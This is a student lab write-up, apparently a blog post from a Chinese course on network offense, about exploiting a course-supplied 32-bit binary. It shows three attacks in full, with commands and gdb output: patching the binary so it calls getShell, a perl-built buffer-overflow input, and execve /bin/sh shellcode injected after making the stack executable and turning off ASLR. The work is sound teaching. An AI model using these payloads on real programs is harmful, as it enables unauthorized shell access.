12019-2020-2 20175305张天钰《网络对抗技术》Exp1 PC平台逆向破解

实验准备

  1. 首先在gitee上下载老师提供的pwn1文件。
  2. pwn1文件通过共享文件夹传到kali上以便使用。
  3. pwn1文件复制到主目录下,并进行备份cp pwn1 pwn2

实验要求

  1. 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

NOP汇编指令的机器码是“90”
JNE汇编指令的机器码是“75”
JE 汇编指令的机器码是“74”
JMP汇编指令的机器码是“eb”
CMP汇编指令的机器码是“39”

  1. 掌握反汇编与十六进制编程器

  2. 能正确修改机器指令改变程序执行流程

  3. 能正确构造payload进行bof攻击

任务一 直接修改程序机器指令,改变程序执行流程

通过修改main函数中的call指令跳转的地址,使其本来该跳转到foo函数时,跳转到getshell函数,从而运行getshell函数。

1. 输入指令objdump -d pwn1 | more反汇编pwn1文件。



call指令的机器码为e8,其跳转的位置为寄存器EIP的值+call 指令后面的立即数。
我们可以看出call 8048491 是将调用位于地址8048491处的foo函数,该指令的机器码为e8 d7 ff ff ff
其中foo函数的地址为08048491,getshell函数的地址为0804847d,通过计算其对应关系(小端机器):

0x08048491 - 0x0804847d = 0x00000014 //计算地址差
0xffffffd7 - 0x00000014 = 0xffffffc3 //计算要修改的目标地址

所以我们只需将其中的call指令的目标地址由d7ffffff变为c3ffffff。

2. 输入指令vi pwn1打开文件。

打开之后我们会看到文件以ASCII码的形式出现

所以我们要输入命令让其转换为16进制表示

:%!xxd

3. 通过/e8d7查找要修改的内容

可以看出,使用/e8d7命令并没有找到我们需要找的地方,这是因为e8 和 d7 是分开的,我们要找/d7ff

4. 找到后,输入i进入插入模式,将d7修改为c3

查看我们修改的地方前后的代码,发现没有问题,就是我们需要的修改的地方。

5. 输入:%!xxd -r将文件转换为ASCII码形式,输入:wq保存并退出

6. 这时候,我们再反汇编pwn1文件,查看是否修改成功。
输入objdump -d pwn1 | more,查看当前反汇编情况。

可以看到程序已经被我们修改成跳转到getshell函数了。
7. 运行pwn1文件和pwn2文件(pwn1文件是被修改过的,pwn2文件是未被修改过的),可以发现两个文件的运行结果不同。

实验成功。

任务二 通过构造输入参数,造成BOF攻击,改变程序执行流

1. 反汇编,了解程序的基本功能
输入指令objdump -d pwn2 | more查看,计算要达到缓冲区溢出说需要输入的字符数

root@kali:~/Documents/20175305/exp1# objdump -d pwn2 | more


 8048471:       c9                      leave  
 8048472:       e9 79 ff ff ff          jmp    80483f0 <register_tm_clones>
 8048477:       90                      nop
 8048478:       e9 73 ff ff ff          jmp    80483f0 <register_tm_clones>

0804847d <getShell>:
 804847d:       55                      push   %ebp
 804847e:       89 e5                   mov    %esp,%ebp
 8048480:       83 ec 18                sub    $0x18,%esp
 8048483:       c7 04 24 60 85 04 08    movl   $0x8048560,(%esp)
 804848a:       e8 c1 fe ff ff          call   8048350 <system@plt>
 804848f:       c9                      leave  
 8048490:       c3                      ret    

08048491 <foo>:
 8048491:       55                      push   %ebp
 8048492:       89 e5                   mov    %esp,%ebp
 8048494:       83 ec 38                sub    $0x38,%esp
 8048497:       8d 45 e4                lea    -0x1c(%ebp),%eax
 804849a:       89 04 24                mov    %eax,(%esp)
 804849d:       e8 8e fe ff ff          call   8048330 <gets@plt>
 80484a2:       8d 45 e4                lea    -0x1c(%ebp),%eax
 80484a5:       89 04 24                mov    %eax,(%esp)
 80484a8:       e8 93 fe ff ff          call   8048340 <puts@plt>
 80484ad:       c9                      leave  
 80484ae:       c3                      ret    

080484af <main>:
 80484af:       55                      push   %ebp
 80484b0:       89 e5                   mov    %esp,%ebp
 80484b2:       83 e4 f0                and    $0xfffffff0,%esp
 80484b5:       e8 d7 ff ff ff          call   8048491 <foo>
 80484ba:       b8 00 00 00 00          mov    $0x0,%eax
 80484bf:       c9                      leave  
 80484c0:       c3                      ret    
 80484c1:       66 90                   xchg   %ax,%ax
 80484c3:       66 90                   xchg   %ax,%ax
 80484c5:       66 90                   xchg   %ax,%ax
 80484c7:       66 90                   xchg   %ax,%ax
 80484c9:       66 90                   xchg   %ax,%ax
 80484cb:       66 90                   xchg   %ax,%ax
 80484cd:       66 90                   xchg   %ax,%ax
 80484cf:       90                      nop

080484d0 <__libc_csu_init>:
 80484d0:       55                      push   %ebp
 80484d1:       57                      push   %edi
 80484d2:       31 ff                   xor    %edi,%edi

可以推测,需要输入的字节大约在32字节,下面对其进行验证

2. 确认输入字符串哪几个字符会覆盖到返回地址
另外开启一个终端,对pwn2进行gdb调试,输入字符串1111111122222222333333334444444412345555,观察一下各寄存器的值

可以发现,如果输入字符串1111111122222222333333334444444412345555,那 1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码,只要把这里的代码换成getshell的内存地址,输给pwn2,pwn2就会运行getshell。
由图可以知道getshell的地址为

root@kali:~/Documents/20175305/exp1# objdump -d pwn2 | more
0804847d <getShell>:
 804847d:       55                      push   %ebp
 804847e:       89 e5                   mov    %esp,%ebp
 8048480:       83 ec 18                sub    $0x18,%esp
 8048483:       c7 04 24 60 85 04 08    movl   $0x8048560,(%esp)
 804848a:       e8 c1 fe ff ff          call   8048350 <system@plt>
 804848f:       c9                      leave  
 8048490:       c3                      ret   

3. 确认用什么值来覆盖返回地址
getshell函数的地址为:0x0804847d
正确输入应为11111111222222223333333344444444\x7d\x84\x04\x08

4. 构造输入字符串
因为我们无法通过键盘输入十六进制的值,所以我们先生成包括这样字符串的一个文件。\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。
输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > BOF

root@kali:~/Documents/20175305/exp1# perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > BOF

我们可以通过xxd BOF命令查看我们创建的文件:

通过管道符|,作为pwn2的输入,格式为(cat BOF; cat ) | ./pwn2

这样就算实验成功了。

任务三 注入Shellcode并运行攻击

shellcode就是一段机器指令(code),通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。
在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。

1. 准备工作

  1. 输入指令apt-get install execstack安装execstack,并设置堆栈可执行:
execstack -s pwn3    //设置堆栈可执行
execstack -q pwn3    //查询文件的堆栈是否可执行
  1. 关闭地址随机化(如果不关闭的话,每次操作esp的地址都会发生变化)
more /proc/sys/kernel/randomize_va_space                 //查看随机化是否关闭
echo "0" > /proc/sys/kernel/randomize_va_space        //关闭随机化

(“2”为开启,“0”为关闭)

2. 构造要注入的payload

  1. 我们需要注入一段代码,我们首先构造一个input(参考老师给的代码)
perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input
  1. 在一个窗口运行(cat input;cat) | ./pwn3

  2. 在另外一个窗口ps -ef | grep pwn能看见当前运行pwn3的进程号为12500;

  3. 在gdb里面attach 12500进行调试

  4. 使用disassemble foo反编译

  5. 可以看到ret指令的地址为0x080484ae,在此处设置断点break *0x080484ae

root@kali:~/Documents/20175305/exp1# gdb
GNU gdb (Debian 9.1-2) 9.1
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word".
(gdb) attach 12500
Attaching to process 12500
Reading symbols from /root/Documents/20175305/exp1/pwn3...
(No debugging symbols found in /root/Documents/20175305/exp1/pwn3)
Reading symbols from /lib32/libc.so.6...
(No debugging symbols found in /lib32/libc.so.6)
Reading symbols from /lib/ld-linux.so.2...
(No debugging symbols found in /lib/ld-linux.so.2)
0xf7fd3b59 in __kernel_vsyscall ()
(gdb) disassemble foo
Dump of assembler code for function foo:
   0x08048491 <+0>:     push   %ebp
   0x08048492 <+1>:     mov    %esp,%ebp
   0x08048494 <+3>:     sub    $0x38,%esp
   0x08048497 <+6>:     lea    -0x1c(%ebp),%eax
   0x0804849a <+9>:     mov    %eax,(%esp)
   0x0804849d <+12>:    call   0x8048330 <gets@plt>
   0x080484a2 <+17>:    lea    -0x1c(%ebp),%eax
   0x080484a5 <+20>:    mov    %eax,(%esp)
   0x080484a8 <+23>:    call   0x8048340 <puts@plt>
   0x080484ad <+28>:    leave  
   0x080484ae <+29>:    ret    
End of assembler dump.
(gdb) break *0x080484ae
Breakpoint 1 at 0x80484ae
(gdb) 

  1. 在另一个终端按下回车,这样程序就会执行之后在断点处停下来

  2. 再在gdb调试的终端输入c继续运行程序

  3. info r esp查看esp寄存器地址

  4. x/16x 0xffffd39c以16进制形式查看0xffffd39c地址后面16字节的内容

  5. 从上图中看到01020304所在的地址为0xffffd39c,那么注入的shellcode代码的地址应该在该ret指令地址后四个字节的位置,即0xffffd39c+0x00000004=0xfffd3a0。随后退出gdb调试。

12.修改注入代码的覆盖地址

perl -e 'print "A" x 32;print"\xa0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

13.输入命令(cat input_shellcode;cat) | ./pwn3

实验成功。

实验收获与感想
本次实验使我收获很大,不仅学习了很多新的知识,比如汇编语言、反汇编、汇编,还回顾了之前学习过的关于缓冲区溢出的问题,本次实验对具有缓冲区溢出漏洞的程序进行攻击,做的过程遇到不少坎,通过请教同学查阅视频得已解决,我觉得对于本门课的学习还需要下一番功夫,知识范围很广

什么是漏洞?漏洞有什么危害?
漏洞即某个程序(包括操作系统)在设计时未考虑周全,当程序遇到一个看似合理,但实际无法处理的问题时,引发的不可预见的错误。系统漏洞又称安全缺陷。如漏洞被恶意用户利用,会造成信息泄漏,如黑客攻击网站即利用网络服务器操作系统的漏洞

参考资料
汇编指令机器码对照

posted @ 2020-03-21 16:49  20175305张天钰  阅读(189)  评论(0编辑  收藏  举报